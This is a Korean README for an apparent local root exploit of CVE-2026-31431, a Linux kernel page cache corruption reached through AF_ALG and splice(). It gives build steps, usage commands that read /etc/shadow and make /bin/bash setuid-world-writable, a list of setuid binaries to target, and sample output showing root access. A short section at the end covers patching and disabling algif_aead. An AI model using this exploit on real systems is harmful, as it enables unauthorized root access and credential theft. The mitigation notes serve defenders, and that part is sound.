
CVE-2026-31431에 대한 익스플로잇으로, Linux 커널 페이지 캐시 손상 취약점을 이용하여 AF_ALG 및 splice() 체인을 통해 대화형 루트 셸과 비대화형 명령 실행을 제공합니다.
Linux 커널 page cache 오염 취약점 도구로, 비대화형 명령 실행을 지원합니다.
CVE-2026-31431은 Linux 커널의 authencesn AEAD 알고리즘 구현에 존재하는 논리적 결함 취약점입니다. AF_ALG 및 splice() 시스템 콜 체인을 통해 공격자는 임의의 읽기 가능한 파일의 page cache에 4바이트 데이터를 쓸 수 있습니다.
영향 범위:
취약점 특징:
.
├── copyfail_universal.c # 메인 POC 소스코드 (정적 컴파일, libc 의존성 없음)
├── copyfail_universal # 컴파일된 바이너리
├── run_cmd.sh # 비대화형 실행 wrapper 스크립트
├── Makefile # 컴파일 스크립트
└── README.md # 본 문서
# 방법 1: gcc 및 ld 사용
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# 방법 2: Makefile 사용
make
./copyfail_universal
# 방법 1: wrapper 스크립트 사용 (권장)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# 방법 2: 파이프 사용
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# 방법 3: 환경 변수 사용
CMD='whoami' ./copyfail_universal
# 기본 대상은 /usr/bin/su
# 소스코드의 path 변수를 수정하여 다른 대상을 지정할 수 있습니다.
# 일반적으로 사용 가능한 대상:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
취약점은 page cache만 수정하며 디스크 파일은 수정하지 않습니다. 다음 명령으로 복구할 수 있습니다:
sync; echo 3 > /proc/sys/vm/drop_caches
run_cmd.sh 스크립트에는 자동 복구 기능이 내장되어 있습니다.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
시스템의 모든 setuid 프로그램 찾기:
find / -perm -4000 -user root -type f 2>/dev/null
커널 업데이트 - 패치 a664bf3d603d가 포함된 커널 버전으로 업그레이드
임시 완화 - algif_aead 모듈 비활성화:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
컨테이너 환경 - seccomp를 사용하여 AF_ALG socket 생성을 차단
authencesn이 대상 버퍼를 임시 저장소로 사용하여 경계를 벗어난 4바이트를 기록splice()를 통해 page cache 페이지를 crypto 서브시스템에 전달본 도구는 보안 연구 및 승인된 테스트 전용입니다. 승인되지 않은 시스템을 공격하는 데 본 도구를 사용하는 것은 불법입니다. 사용자는 모든 법적 책임을 스스로 부담해야 합니다.
| 프로그램 | 경로 | 사용 가능 여부 |
|---|
| su | /usr/bin/su | ✅ 기본 |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |